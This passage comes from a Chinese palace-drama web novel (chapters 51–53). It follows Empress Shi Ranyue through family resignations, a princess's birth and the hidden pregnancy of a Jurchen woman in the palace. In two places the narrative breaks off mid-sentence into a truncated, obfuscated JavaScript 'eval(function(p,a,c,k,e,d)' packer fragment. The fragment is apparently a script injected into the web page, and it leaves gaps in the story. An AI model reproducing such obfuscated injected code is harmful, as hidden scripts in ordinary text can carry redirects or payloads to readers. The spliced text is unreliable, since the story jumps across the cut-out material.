很快歌舞再兴,推杯换盏间,官成澈不禁向安谈和道:“陛下方才是什么意思?前些日子还说不用我们来管,现在又全权交给礼部了?” 安谈和“诶”了一声,道:“小官大人慎言呐。陛下和娘娘已经将名字订好了,你只要再拟定个封号便是了。” 官成澈瞪眼:“为何是我来拟定封号?” “这种机会自然要留给你们年轻人好好表现嘛——正好你那贺文也发出去了,也有功夫好好准备此事。” “这么要紧的事怎么能交由晚辈来操办呢?”官成澈也举起酒杯向安谈和致意:“安大人即将致仕,若能将这桩事办好,岂不是您仕宦生涯的一桩美谈?” 安谈和捋着胡子大笑:“你啊你啊。”说着转了转眼珠,侧身向官成澈低声道:“既赐了国姓,左不过封‘公主’、‘郡主’或是‘县主’。封公主于礼不合,你且先上个书提议封为郡主,若陛下同意便了了,若陛下没有立即同意,再上书改成封县主就是了。再在这京中随便找个旧宅修葺立府便是。”、 “既是安大人的主意,那下官便照着办了。” 安谈和无奈一笑,却又道:“不过你在此事上如此犹豫,是在顾忌皇后娘娘的意思?依你们家与师家的私交,去问问师大人不就是了。” “那是师大人的意思,未必就是皇后娘娘的意思。” 安谈和“呵”一声轻笑,道:“有师大人的意思就够了,皇后困于深宫,她的意思能值几钱呢?” 51. 第 51 章 端午次日,天骤然阴沉,空气中凝着闷热的水汽,似乎随时都会落下雨来。满宫的琉璃瓦也是灰蒙蒙的,显现不出一丁点的光泽,像是积年落灰了一般。 师霖与端木萌穿着厚重的朝服,层层衣物下细汗涔涔。二人一路无言,只并肩跟着薛德保向坤宁殿走去。 隔着屏风,他们看见影影绰绰的人影,正中的那个端然坐着,头顶的凤冠鎏金浮光,极尽奢靡。虽这般架势,然却是在坤宁殿偏殿中,而方才他二人进来时,见到以吴怀安与合月等为首的一干侍者尽侍立在殿外,薛德保将他们请进殿后,也退到殿外阖上了门。因此如今立在两侧的不过是音儿和木莲两人罢了。 二人跪下行礼,头叩在青石板上半晌,才听见一声风一样似有似无的“平身”。 “娘娘诏臣等前来,有何事吩咐?”一片死寂中,师霖问道。 “本宫只有一事要问。师大人,你心知肚明。” “军国大事一切仰赖陛下裁决。娘娘如有不明之事,可以去问陛下。” “陛下决断,事关江山社稷,本宫不会过问。”师冉月深吸了一口气道,“三哥,我只想知道你。” 师霖低头道:“娘娘心中不是已经有猜测了么。” “为何非要如此?不要与我说是为了师家,若要为了师家,定还有千万种方法,何至于做到如此决绝?你当日吩咐下去时,可曾想到父亲和大哥?如今你回家面对岳夫人时,难道心中不会有愧么?” “终究还是不同的,娘娘。”师霖沉声道,“你受封为后时,跟着封赏的是楚州唐氏,而不是现在只靠一个长公主撑着的徒有虚名的岳氏。” 他顿了顿,又道:“至于其他人,凡是师姓,我都会尽力保全。” 师冉月咬着唇,良久未言。直到端木萌似乎有些站不住似的身形晃了一晃,她才呢喃了句:“凡是师姓,好一个凡是师姓......” “娘娘若是因此厌烦见我,那日后我们也可以不见。”师霖仍旧微微垂着头。他如今蓄了须,眼睛也不似从前有光彩,穿着官服完全与其他稍年轻的官员别无二致,除了仪容规整些,鲜少有痕迹能看出来他当年仅仅是一个眼神或是一个翻身上马的动作就会被众人追捧,骑马游街一圈,怀中的鲜花香囊即数不胜数。 “还有一事,今日既然与你相见,不妨也一起说了。”他看了眼身旁的端木萌,继续道:“我已写好辞呈,也许待娘娘平安诞下皇嗣,便会递到陛下桌案上。” 师冉月闻言,倒不是十分惊讶,只叹了一声,缓缓道:“这样......也好。” 端木萌抬了抬头,想说些什么,却只是张了张嘴又把话咽了下去,却蓦地唤了一声:“小......容琯——你别怪他。” 师冉月没有作声。 音儿自屏风后绕出来,行了一礼道:“殿下,侯爷,请回吧。” 音儿独自一人将二人送至坤宁殿外。端木萌犹豫很久,方道:“音儿,皇后娘娘她......” “侯爷与夫人是姑娘的至亲骨肉,姑娘怎么会真的记恨你们呢。”音儿看到师霖别扭的眼神,对着端木萌笑着说道。“姑娘她......只是一时惊愧,加上怀着小皇子,便更容易忧心些。想来过段时日也就好了。侯爷和夫人都是自小与姑娘一起长大的,自然知道姑娘的脾性。” 师霖冷笑:“是,她那脾气,最能瞎折腾人。”说着便不管音儿和端木萌,自己甩了甩袖子背着手走了。端木萌无奈叹气,交代了音儿两句,才匆匆转身跟上师霖。 音儿看着二人背影,思及始终,终还是忍不住在心中长叹。她晓得师霖的意思,师冉月的心中从始至终装不下那么多的人,冷心冷肺,折腾人做样子只是为了安慰自己良心过得去罢了。 天上飘下几滴雨来,凉丝丝在脸颊滑落。音儿兀自在雨中发了一会儿愣,这才匆匆跑回了殿中。 看着檐下成线的雨水,“这下侯爷和长公主殿下要挨雨浇了。”音儿想着。 复景三年五月十九,武宗太妃莫氏薨。 师冉月坚持挺着肚子坐着马车到了行宫,上香祭拜过后,安慰过守丧的的端木齐和王氏,又吩咐了主持丧仪的礼部官员几句,便移步偏殿与唐瑾闲谈。如今穆宗皇帝的后妃都已作古,莫文君去世后,武宗皇帝的后妃也只剩了唐瑾一个。 “姨母在这里可还好?如今淑太妃也故去了,若是姨母觉得寂寞,本宫可向陛下请旨接你回宫居住。” 唐瑾摆手笑道:“我是先帝太妃,依例就该居于行宫,回宫便是逾礼了——娘娘在这里称我为姨母,也是逾礼了。”又问:“陛下给淑太妃定了什么谥号?” “依平卿贵妃和平容贵妃的旧例,拟定了一个‘端’字,称平端贵妃。” “平端......”唐瑾淡淡地笑了笑,“你不晓得,说来这‘平’字并不是自平卿贵妃始的。先帝还是皇子时,曾有位原配的皇子妃,出身不显,生了一个女儿也夭折了,她本人也在昭献皇后嫁给先帝前一年忽然病逝。先帝即位后,因着彼时岳家势大,便只将她追谥为贵妃,拟了‘平’这么个不显山不漏水的字,叫做‘平安贵妃’。‘好而不争曰安’,可惜她连争的机会都没有。后来她的母家人又犯了事,先帝一怒之下,便连她的封号也夺了去,因此如今宗庙中也没有她的记载了。” “那后来为何先帝为平卿贵妃拟定谥号时仍用了这个‘平’字?” “平卿贵妃死的时候,平安贵妃的封号还没有被夺。先帝本来定的倒是“庄卿”二字,但彼时礼部的王贯上书称‘卿’字没有典故不合规制,‘庄’字也与平安贵妃的封号不一致,不合旧例,于是这二者中,先帝最终选了第二条妥协,便是‘平卿贵妃’了。” “原始如此。”师冉月轻叹。 “说白了,这都是死后哀荣,是好是坏又能如何呢?”唐瑾不屑道,“就连身后家族如何也是奈何不了的事。平容贵妃的娘家已经没有人了,平卿贵妃的娘家却蒸蒸日上,昔日我们尚在那宫里的时候也料想不到这么久远,何况人死了。” 师冉月望着她两鬓不加遮掩的白发,心中不忍。虽说唐瑾与唐烨也只是同宗的远房堂姐妹,但好歹也算她在这宫中的一点亲眷。唐瑾膝下只有一个早夭的连名字都没有取的二皇子,因此幼时师冉月入宫时也多得她照护,比起昭献皇后也是不同的。 然而唐瑾却很冷淡,甚至赶起她来:“这儿是死人的地方,阴气重,你还怀着孩子,还是快些走吧。” “太妃......多保佑。” 七月十二日凌晨,师冉月诞下一女,依“吾行有定止,潮汐自东西”为其取名为“汐”,封号为妧成公主。 “所幸战事结束的早,这次我总算能陪你生产。”入夜时,血腥味散去,白日哄闹的众人也都各归各处。端木玄拥着师冉月倚在床头,突然感慨。 师冉月闭着眼睛要睡不睡,只轻声叹息道:“我乏得很。你有话,找孙才人说去。” 近来因徐聆雨的举荐,宫中承宠最多的便是孙姝妙。偏生她这人高调张扬,前一晚侍寝,第二日逢人便要拉着明里暗里炫耀,逢不着人便跑到旁人宫中去。师冉月本是睁一只眼闭一只眼,然而连素日装鹌鹑的蒋纹都跑到坤宁殿来希望她能约束孙姝妙,这才不得不找了个由头禁了她几日足——只因若非将话直直说出来她是万万听不明白的,而师冉月并不是一个喜欢有话直说的人。 端木玄倒是从善如流,不再出声。 师冉月脑子困倦得很,小腹却仍然疼着,稍一动作牵扯到了便是一阵撕心裂肺,可若要保持不动又觉得难受,自己在脑中折腾半天,到底还是睡去。 端木玄等着她睡熟,才慢慢将她的头放在枕上,自己抽出手去轻轻跳下床,只穿着中衣,罩了个披风,便自己挪到偏殿去看睡在小床上的端木汐。他一向不与孩子们亲近,也从未看过先前三个孩子刚出生时的样子,此时竟有些莫名其妙的初为人父似的兴奋来。这个才出生的小女儿幼小可怜,不像长子那般跳脱,也不似长女文静疏离,这般小小的躺在襁褓里,似乎天地间此时唯有他这个父亲能保护他,竟叫他觉得有些自豪,随之生发出了些半生未曾有过的激动心绪来。 “阿胭姐姐,原来你在这儿。” 近黛爬上清和殿旁崇文阁的屋顶,终于找到了穿着一身素白衣裙正坐在屋顶喝酒的烟水。 “嗯,小黛。”烟水向她点了点头,看向她的眼神已经有些迷离,眼中似是含着盈盈水波,在明亮的月光下像有星星坠落。 近黛坐到她身旁,拿起她的酒坛看了看,道:“这是今日为了庆贺二公主出生宫里特意发的酒......不过姐姐不是为了庆贺二公主出生才喝的罢?” 烟水把酒坛拿回来,在手中端详了一阵,笑道:“怎么就不能呢?” 近黛也不与她辩驳,只借着屋顶的视角四处眺望:“原先在屋顶总是为了做任务,这般静静地在屋顶赏月倒是头一次,这满宫的琉璃瓦在月亮下好像也有些不同了。”说着说着,却又看到西宫那一排配殿,叹道:“也不知道陛下是怎么想的,为何会让那个女真女子住在宫里。” “陛下......也许有几分喜欢她吧。”烟水又喝了一口酒,看了那配殿一眼,又遥遥望向前方,那一条贯穿宫门和京城内城长安门、外城远德门的御街两侧,几家名满天下的酒肆仍然灯火通明,高高挂着的酒旗和灯笼在晚风中轻轻摆动,似是跟着忽近忽远的悠扬乐声翩翩起舞。 近黛顺着她的目光看去,道:“自从陛下将宵禁的时间往后挪了两个时辰,这些酒家和青楼的生意倒是越发好做了。不过京城如今再没有一个像当年晓残月那般绝世的歌喉了。对了,姐姐可曾听说,那晓残月似乎是个道士的女儿呢。” “是么?竟有这样的事。” “我也只是听人说,也许是有人杜撰出来的吧。京城方圆几十里也就江浪观那么一个道观,里面似乎大多还是女观和孩子。” “孩子?是被抛弃的孤儿么。” “大概是吧。不过我有一次路过江浪观,倒碰见几个观里的孩子跑出来到江边玩儿,虽都是粗布衣衫,但看起来是用心养的,比平常百姓人家的小孩还齐整几分。” “真好啊。”烟水顿了顿,突然感叹道。近黛一愣,旋即明白过来,自己竟也跟着伤感起来,良久,转头看向烟水,笑笑道:“我们也没差什么呀,姐姐,至少我们现在也活着呢。” 烟水灌完了最后一口酒,看了她一眼,轻声笑了笑,转身下了屋顶。 近黛没有跟着她下去,只是自己又在屋顶上站了一会儿,桃红的罗裙经风一吹,像是轻旋的花瓣,飘忽地飞着。 夜凉如水。 月余即是中秋节。 端木汐已满月,恰逢天清月明,惠风和畅,便由奶娘抱着出来转了一圈。然而师冉月虽已出了月子,身上仍觉得不大好,加上筹办中秋的各项事宜皆是林绵主持,便也不露面,只是由音儿与吴怀安为戚里送上节礼。 节后,端木城获封平江郡王,宫外立府别居。林绵与之母子分离,虽也能时常入宫得见,但还是伤心感怀了一阵,许是心绪所致,又或者中秋节前后劳累,身上也不大爽利,干脆在辰阳殿闭门不出。这般下来,端木玄与师冉月一商议,便将宫中诸事暂且交由徐聆雨代掌,烟水从旁协助。 中秋一过,盛夏的那一点余温便彻底消耗殆尽,随之而来“秋风卷落叶”,庭院残红枯黄层层堆叠,每日窸窸窣窣地扫尽了,就是一片深秋井水泼洒过的石板地。虽时节萧瑟,然师冉月的身子却一日好过一日,加上又可以做应季的桂花芡实糕和清凉糕、熬桂圆百合粥和白梨茶,还有各色肉食“养秋膘”,她的心情倒是越来越好了。 端木玦更是日日叮嘱她做这做那,还喜欢到厨房亲自监工。连不常出门的端木含这些日子也喜欢往坤宁殿凑,更别提早就盯着了的俞安乐等人了。 这日,端木玦与端木含两个正并排坐在廊下的蒲团上看薛德保和香径、罗幕几个小宫女架火烤北边新进贡的羔羊,师冉月教单撕了一扇羊排并一只羊腿下来,请宫外北省的厨子依他们的吃法详细写了,教德保几个依样烤了,自己倒亲自到厨房去调试蘸肉料汁来。 “只可惜咱们没有那北边的师傅说的韭花,不过退而求其次了。” 音儿笑道:“肉吃到肚子里还不都是一个样子,天下只娘娘一人这般挑剔了。” 木莲也道:“是呀是呀,主要是能挑剔之人中只有娘娘这样挑剔了。” 俞安乐、蒋纹和赵玉熹三人踏进坤宁殿时,见到的便是两个孩子坐在蒲团上瞪着圆眼睛盯着那已经开始流油的羊肉的样子。二人见到三人进来,乖巧起身行礼。三人也笑着回礼,又问道:“皇后娘娘在何处?” 端木含道:“母后在厨房调料汁。” 端木玦道:“这会儿也有可能去后面园子里翻她晒的桂花了。” 却说着,师冉月已从殿后绕出来,三人忙又行礼,师冉月笑道:“今日你们可是来着了。” 木莲和春桃等将三人迎进殿内坐下,又端来新做好的白梨茶和桂花乳酪。 三人好生吃了半晌,这才想起什么似的,各自对视了好一会儿,终还是师冉月开口道:“有什么事便说罢。” 俞安乐扭捏开口道:“昨日我们三人在御花园时听见一个到昭仪娘娘宫中送画的前省太监,与身旁人说礼部的官员听说那个女真的女子有了身孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本宫无意间听得一些闲言,说是那位主儿恐怕有喜了,这才邀你一同过去探望一番。”师冉月目视前方,言语不咸不淡。 徐聆雨却大为震惊,却被“闲言”一词吓住,只低头闭口不言。 师冉月为后以来,最忌讳的就是宫中这些流言蜚语,复景元年杀鸡儆猴的那些嘴不严的宫女太监的血还没干彻底,这唇齿间的腥风血雨便又有了复发的态势。 半晌听不见身旁人的声音,只有裙带衣角的布料随着行走间窸窣着不停声响。师冉月却突然转首看了徐聆雨一眼,又转回头去,微微笑道:“想不到我这辈子还能看见徐大姑娘这般神态。怎么,是女真格格把你吓着了,还是我把你吓着了。” 徐聆雨仔细分辨着她的用词,提着的心稍稍落会一点,只道:“若是谣言属实,你打算怎么办?” “好好开着的花,上赶着要谢,我们又能如何呢?”这会儿功夫,方才对徐聆雨那一点调笑不知不觉间在师冉月玉佛一般的面容上隐没,她的脸色又似逢秋霜。 好在一行人已经进了西宫的门,因着未曾提前知会,也未用皇后和昭仪仪仗,西宫宫院里值守和扫洒的宫人都惊诧不已,退潮般参差着行礼。 西宫地界偏僻,庭院冷清,虽然安排端木胭暂住在此时格外打扫了,但似乎还是有挥之不去的浓重的阴湿气息缠绕在旧红的一砖一瓦间。在此侍候的宫人除了原先便在西宫值守的,其余者皆是前些日子林绵与徐聆雨精挑细选的,再之后,便是一个跟着端木胭迢迢而来的雪儿近身侍奉。 师冉月在院中站了站,用手势制止了想去通报的宫人,良久,方道:“西宫还是不合适了。怀安,叫人将宣如殿打扫出来罢。” “是,娘娘。” 徐聆雨闻言瞠目,原地愣了一会儿,蓦地迈开步子,越过师冉月径直进了去。殿内的陈设是有司依着郡主留宫居住的规例布置的,比起品阶稍低的后妃不同,却也温馨舒适。这会儿窗外天阴着,徐聆雨一进去倒是被满殿灯烛闪了眼,她却管不了这么多,只死盯着雪儿匆匆藏到身后的那碗汤药,还有惊慌起身无措行了一个不像大淮也不像女真的礼的端木胭,以及她动作间衣料勾勒出的腹部圆弧。 跟着她进来的一个西宫宫女蓦地跪在地上。徐聆雨一脚提起却落在半空,退了两步,深吸了两口气才道:“何时的事?” 那宫女不敢隐瞒,颤声道:“太医说......应该,应该是六月初。” “哪个太医?” “胡......胡太医。” 徐聆雨又调整了一次呼吸,道:“这么大的事,欺瞒了满宫的主子,却敢往外传谣言,是谁给你们的胆子!” 霎时满宫的宫人都跪伏在地,颤抖着身子不敢作声。那雪儿站在端木胭身旁,微微将她护在身后,却也只低着头。澜水上前扭着她的胳膊强教她也跪下,厉声道:“进了大淮便要依我们大淮的规矩,昭仪娘娘问话,还不跪下!” 端木胭却将雪儿拉住,生涩道:“雪儿是我的人!” “您这是什么话?这满宫上下都是陛下的人,哪分‘你的我的’。”澜水冷笑道。 端木胭显然急了,却说不好大淮的官话,一句里夹着半句女真语,众人都听不明白,却晓得她是在发怒,尽管无人会理会。 僵持间,师冉月这才慢悠悠踏进殿来,对上端木胭瑟缩了一瞬的眼神,却转头向徐聆雨道:“徐昭仪,莫要自降身份,又失了礼数。” 这话说的温和,满地跪着的人似乎也跟着松了一口气。徐聆雨咽下气焰,低头称是,退了两步到一旁。师冉月向殿中走了几步,上下打量了一番端木胭,又看了两眼她身后跪着的雪儿,勾唇笑了笑,道:“音儿,西宫的人都换上一批。胡太医是昭献皇后的人了,如今他老了,便去为昭献皇后守陵罢。” “皇后娘娘饶命——皇后娘娘饶命啊!”登时,满宫的人都哭天喊地叩首不止,却很快有人来将他们尽数堵住嘴拖走,似乎只是一阵风吹过的功夫,殿内便只剩下寥寥数人,连带着拖人时撞翻的物件零零乱乱摔在地上,倒让师冉月莫名想起抄家那日的师家。她看着床榻边相互搀扶着的那主仆二人,声音柔和,道:“本宫已命人将宣如殿收拾了出来,日后你便住到那里去罢,以昭仪的身份。” 又向徐聆雨道:“这些日子你代管后宫,又操持此事,辛劳非常。本宫今晚会向陛下进言,将你晋位为贤妃,迁居淑慎殿。”说罢,也不待徐聆雨反应,又嘱咐了轻寒和木莲暂时留在端木胭身边,直到她搬进宣如殿为止。 “轻寒,你年初才从女真回来,刚好便做个通事罢。” “是,娘娘。” “走罢,这出戏也演了,瞧着这天是快要下雨了。” 52. 第 52 章 坤宁殿后殿连廊下的晾的各色花儿果儿刚收起来,今年的第一阵北风便也忽悠忽悠地刮来了。对于孩子们来说,冬季意味着臃肿的冬衣和厚重的披风,并上不能总在外玩耍以免感染风寒的各种叮咛。加上今年端木城立府别居,端木玦和端木含更是觉得无聊,唯有数着日子过年算是一点盼头。 先头师冉月方从梁司衣带来的各色冬衣料子和女真进贡的皮毛中选过了,又留下两条实在可爱别致的狐狸皮毛打算自己研究着做些许久不碰的女红,就听见端木玦“噔噔噔”跑了进来,行礼后问道:“母后,今日太傅说过了年后他便要辞去太傅的位子,回逢州去了,这可是真的?” 师冉月摸摸他的头,道:“是真的。” “太傅为什么要回逢州,是父皇让的么?”端木玦满眼认真地盯着师冉月,又问道。 师冉月一时语塞。自从怀上端木玦后她便一直忧虑这般情景,一面期许着自己可以让自己的孩子多天真一些时日,不必过早看清所谓是非对错真假黑白,一面却又晓得他身在此位,上述种种早晚要面对,甚至担忧有些事情不能叫他早早明晰恐怕反倒有害于他。这般犹豫着犹豫着,端木玦一日日长大,她却始终没能决定好此中尺度。 “你父皇有他的考量......太傅回逢州后也许会比在京城过得更自在呢,而且日后他便只是你的舅父,见了面也不会再责问你的学业功课了,这不也是件好事么?” 端木玦低头想了想,道:“那么,沈先生会一直在么?” 师冉月语塞,对上端木玦尚且是孩童般澄澈却已然有了稳重之色的眼睛,只能缓缓道:“玦儿,为君者,天下贤士皆为你所用,并不能拘于一二者之间。而有才干之人,也不一定只谋一任。像蒋先生那般,既能为人师授人以学,又善于与人交往,于番邦往来间周旋为国盈利。来日兴许沈先生会一直做你的老师,又或者某一日你父皇或是将来你自己有别的事托付于他,如此将他调任也是未可知的事啊。” 说着,却怕端木玦又说些什么,只拿过那条赤红的狐狸皮毛来在他颈间比划了比划,道:“这条毛色纯净鲜艳,母后打算亲自动手给你做条围领,你看可好?” 端木玦撇撇嘴:“母后,你要是闲着无聊,还是做些吃的罢,做女红这种事还是交给司衣或者宫里的嬷嬷们罢。” “怎么,小瞧我?我平日不做女红,是因为不喜欢做,可自小也是同你姨母一起跟着宫里出去的嬷嬷学的,并不比旁人差什么。”师冉月点了点他的额头,又抓起另一条白毛中夹着几缕棕红色的,道:“这条旁人都嫌毛色杂,我却觉得这颜色搭配起来刚刚好,便给你二妹妹做个吊坠玩玩罢。” 端木玦看着她欣赏那狐狸毛的眼神,只觉得她是自己想玩罢了,暗自叹了口气,口称还有功课要做,便告辞溜去了偏殿。 “诶,玦儿,跑什么!”师冉月无奈,对音儿道:“本想问问他的意思,这下还是本宫自己定罢。明年等他过了六岁生辰,也该从我这偏殿搬出去了。陛下是想叫他搬去清和殿旁的祯宁宫,那儿离御书房也近。本宫倒属意清漪阁或是显允阁,这两处离坤宁殿近些,位置也静谧。”又叹道:“说到底明年玦儿也才六岁,就算是太子又如何呢。” 音儿想了想,道:“殿下虽然六岁,但已经比寻常孩子沉稳懂事了。娘娘,殿下到底不是一般皇子,兴许住到祯宁宫去于他于您都更有益罢?” 师冉月何尝不知当中利弊,只是前些日子林绵与端木城母子离分,她也跟着有些伤感。端木汐出生后,日日比着两个孩子,她更觉端木玦一日大似一日,似乎如等不及振翅的雏鹰就要脱了她的手去,心下便空落落的。 “罢了,只是早晚的事。宣如殿今日如何了?” “回禀娘娘,一切如常。”春桃道,“邹太医开的药也都按时喝了。” 师冉月叹道:“叫轻寒好生看着,别提前出了岔子。”又问:“今日是谁侍寝?” “是蒋才人。” “怎么不是吴才人?”师冉月皱眉道。 “昨日吴才人侍寝后说是身上不太舒服,如今请着太医呢。” “是有孕了?” “太医说吴才人脉象弱,还不能确定,但兴许是有了。” “罢了,明日叫邹太医去给吴才人请脉。”师冉月走到暖阁,看了看熟睡中的像个糯米糍似的端木汐,心下软了几分,半晌,出了暖阁,才道:“若是吴才人真有孕,也先叫太医为她保胎罢。” “是。” 马车一路进了宫门。 秋雨缠绵,马车内虽然干燥,却仍叫人周身泛着凉意。车轮压在石板路上辚辚作响,溅起一点雨水,留下薄薄的雨痕。 不知过了多久,马车渐渐停了,外面的人恭声道:“二姑娘、三姑娘,该下马车了。” 师景安掀起鸦青的车帘,提起裙摆踩到地上。身后的师莞安跟着她一起钻到层层雨伞里,鹅黄的绣鞋只有鞋尖落在地面上,沾染起一点微弱的水痕。 一路的景致都很熟悉,只是这还是师景安走在这条宫道上时第一次身旁没有师婷欢。传皇后口谕的薛公公到家中时,点明了只请二姑娘和三姑娘入宫,令所有人都摸不着头脑。 二人被簇拥着,又走了好一会儿,才看见坤宁殿的影子。进了殿去,便见师冉月已然端坐在上,一旁坐着一个穿葱绿色衣裙的女孩,头上插着几朵金蕊珠花,并一支翠玉步摇。景安认出这是令成公主,与妹妹一并跪下道:“臣女给皇后娘娘请安,给令成公主请安。” “快起来吧。”师冉月笑得温柔,叫她们也在身旁坐下,却只随意寒暄了两句有的没的,便对莞安道:“莞姐儿,你且与令成去御花园中玩一会子罢。” 莞安并不常面对这般场合,从前即便入宫觐见,大多时候也是混在一众姐妹中。她虽在家时一副天不怕地不怕的模样,在外却总像个锯了嘴的葫芦。这会儿尚有些拘谨,只怯生生地点了点头,便与端木含一起起身出去。所幸音儿亲自跟随二人去御花园,这才叫莞安放松了几分。 端木含比起师莞安足足小了七岁,然而生性温和乖巧,虽话不多,但也领着师莞安绕着御花园各处景致转了好一会儿,而后便拉着她在亭中坐下,玩起双陆来。 那边厢师冉月将人都支了出去,才问景安道:“这些日子你四叔可好?” “四叔回来时伤口总是反复感染,太医说是当时箭头上的毒素未能清理完全的缘故,只能清理过后用药养着。头一个月四叔便时不时晕厥,但这些日子已经好了不少了,亦能下地走动,只是有些许跛脚,且右臂如今是完全抬不起来了。” 师冉月皱眉,又道:“那他心情如何、精神如何?” “精神尚好,我们去时偶尔也会与我们说笑,但依太医的意思,四叔即便伤口都好了也不能恢复如初,恐怕是没有办法再上马作战了。四叔为此心气郁结,常不顾医嘱借酒消愁......四婶为了此事也没少烦心,前两日还与我娘还有三婶说,想给四叔纳一房妾室进门。” 师冉月扭过头去,轻轻吸了吸鼻子,只是长叹。 景安道:“皇后娘娘身在宫中,事情繁多,又为四叔延请天下名医,花费了不少心血。我与妹妹进宫时四叔和四婶亦托我感谢娘娘。” 师冉月叹道:“罢了,事已至此......”说着,便又问起家中其他人的近况。这般说了好一会儿,师冉月走下来拉着景安的手,仔细端详了一番,只觉得她出落得越来越像端木婉,唯有一个鼻子肖似师穆。比起婷欢,景安的身量更苗条些,清泠的像是刚从石缝中涌出的涓涓山泉,又似是早春刚发了嫩芽时的柳枝。方才她一算来,才发觉转过年去景安便已到了十四岁,恍然间想起十四岁时随着端木萌胡闹的自己,便有些唏嘘。 更别提方才景安与莞安一前一后进来,便叫她想起了旧时的吟月和自己。 “景安,你可有喜欢的人?” 景安愣了愣,道:“还没有......” 她想了想,心中有了考量,又接着道:“若是娘娘欲要为臣女赐婚,臣女但凭娘娘旨意。” 师冉月惊觉她的敏锐,自己倒更愧疚几分,道:“若是姑母将你与岳小侯爷赐婚,你可愿意?” 景安只道:“婚姻大事原本便是要听长辈吩咐的,皇后娘娘既已看好,臣女没有什么不愿的。” 师冉月一把将她搂进怀中,叹道:“好孩子,只是委屈了你......来日若是你过得不好,或是受了什么委屈,尽可来宫中找我,我定会为你做主,和离也好,休夫也罢,都随你。” 景安伏在师冉月肩上,藏起一抹苦笑,只道:“谢皇后娘娘。” “这儿又没有外人,不必叫得如此生分,只叫我姑母便是。” 景安从善如流:“姑母。”又行了一礼,道:“臣女斗胆向姑母求个恩典。” “但说无妨。” “臣女想求姑母一并为大姐姐和寻县燕氏长房长子燕寂赐婚。大姐姐心属燕寂已久,三叔三婶亦知情此事,只是犹豫燕氏长房人口凋零,燕氏又族人众多,恐怕大姐姐不好支撑。大姐姐劝了三叔三婶几回,一直未能得到首肯,为此忧心不已。所以臣女想请娘娘成全大姐姐和燕寂。” 师冉月琢磨道:“燕寂......可是与你大哥哥同窗、明年要去春闱的那一个?我倒在太学见过他,容貌不俗,谈吐也佳,倒是不错。只是燕氏的确——”师冉月正犹疑,却看到师景安的眼神,立马软下心来,道:“罢了,除夕宫宴时我会将他写入名册,彼时我会再做考量。若他人品亦不错,待来年春闱放榜,便为你们二人一同赐婚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送走了邹太医,音儿道:“娘娘,礼部官大人那边已经将昭仪的册仪准备好了,听说陛下准备亲自为其挑选封号。” 师冉月冷笑一声,道:“真是有劳礼部的诸位大人。”端木玄出尔反尔,先默认了封端木胭为郡主,又作主将其住处安排在宫内,而后竟一声不响地临幸了端木胭,似乎专为了等师冉月发现,再由她以皇后身份将其纳入后宫。 “不必管他,本宫再等吴才人一个月,一个月后正是年关,恰好缺一场好戏过年。” 新载,端木玄下诏改元,曰乐康元年。 官成澈坐在礼部堂上,捧着头长吁短叹。时值大年初二,天还没亮便被夫人叫醒时,他的脑子已经不清醒到以为要入宫参加除夕宫宴。 安谈和晚了他一个多时辰,才拄着拐慢悠悠地来了,围着他绕了一圈,捋着胡须笑道:“年轻人,宿醉伤身呐。” “哎呦我的老大人,您可别在我眼前晃悠了。”官成澈将案上的信纸转向他,道:“您看看,这文书教我如何去写?难道说,我朝的吴充仪因为失了自己的孩子,失心疯了,嫉妒你纳真的妹妹怀着孩子,所以就给你妹妹灌了堕胎药,一不小心连你妹妹都死了?” “上头的意思,不正是如此么?”安谈和看了看,道:“左不过犯错的只是一个充仪——如今只是一个冷宫中的废妃了。女真那边就算追究起来,大不了便将她赐死谢罪便是。” 他来回走了两圈,又道:“我听说,师大人已经向陛下递了辞呈。” “没错,辞呈去年腊月时便递上去了,只是不知为何陛下尚未答复。” 安谈和转过身来,盯着铺开一张新纸正要提笔的官成澈,意味深长道:“也许就等着你这一纸文书呐。”说罢,不待官成澈接话,便道:“我也起草好了辞呈,此事了了,便向陛下乞骸骨归乡。”他望向门外,冬日初升的阳光在他苍老的眼眸中泛起澄澈的微光,恍惚间似乎迎面向他走来了刚中进士正要去殿试的自己,一介布衣,虽身形清瘦,但腰板如青松般挺直,眼睛望着那座巍峨宫阙,心中满溢着如日出海面般的憧憬,磅礴而雀跃。 同年者,只他一人不过是农户之后,也只他一人如今尚且站在这庙堂之上。 回头望去,躬身而向的那处座椅上,悄然间已换了四人,他也从一个小小的学士,几次进出京城,宦海沉浮至今,虽无大功已无大过。 他亲眼瞧着这庭中草木枯荣,一岁一息,然不胜当年矣。 他知道,是时候了。 “想必陛下过两日便会允我归乡。之后的事,便要看你们这些人了。” “您何时离京?若有什么需要帮忙的——” “帮忙不必,待我离京那日,你且好酒相送便是。” 劝君更尽一杯酒——天下谁人不识君。 53. 第 53 章 夜已深。 留容轩仍灯火通明,光影下人影来回走动,好不忙碌。 一些闲置的物件和衣料布匹,以及大部分的金银首饰,已经陆陆续续由府卫与私兵押送着去往逢州,那边惠嫂已经带人收拾整洁,只待众人回去入住。 端木萌在屋内捧着账本来回走动着,以期发现什么遗落的事项。 半个月前,端木玄终于落笔,前后准许了师霖与安谈和辞官的请求,稍后,擢升吴称为左相,官成澈为礼部尚书。按着计划,还有三日师家众人便要启程返逢,家中人人皆是忙碌非常。 师霖远远看见院中灯火,心下又飘升一丝胆怯。他抬起衣袖闻了闻,酒气浓重非常,直教他自己也忍不住皱眉。他又往西看了看,那边院子中灯已经熄了,只能看见帐中灯的一点幽暗的光,瞧不见人影。他盯着看了一会子,发了会儿愣,恍惚间回了神,短促地叹了口气,终还是抬起脚回了自家院子。 端木萌瞧见他进门,并未出声,只坐回椅子上继续核对着账册。几个丫鬟上去帮师霖脱了衣服,他倒挥退了众人,自己去洗了澡,换好衣裳,沉默地坐到端木萌的对面。 “与酒过了这些天,心里好受了?”端木萌出声讽道,“说罢,又做了什么事,站在前面大半天不敢回来?” 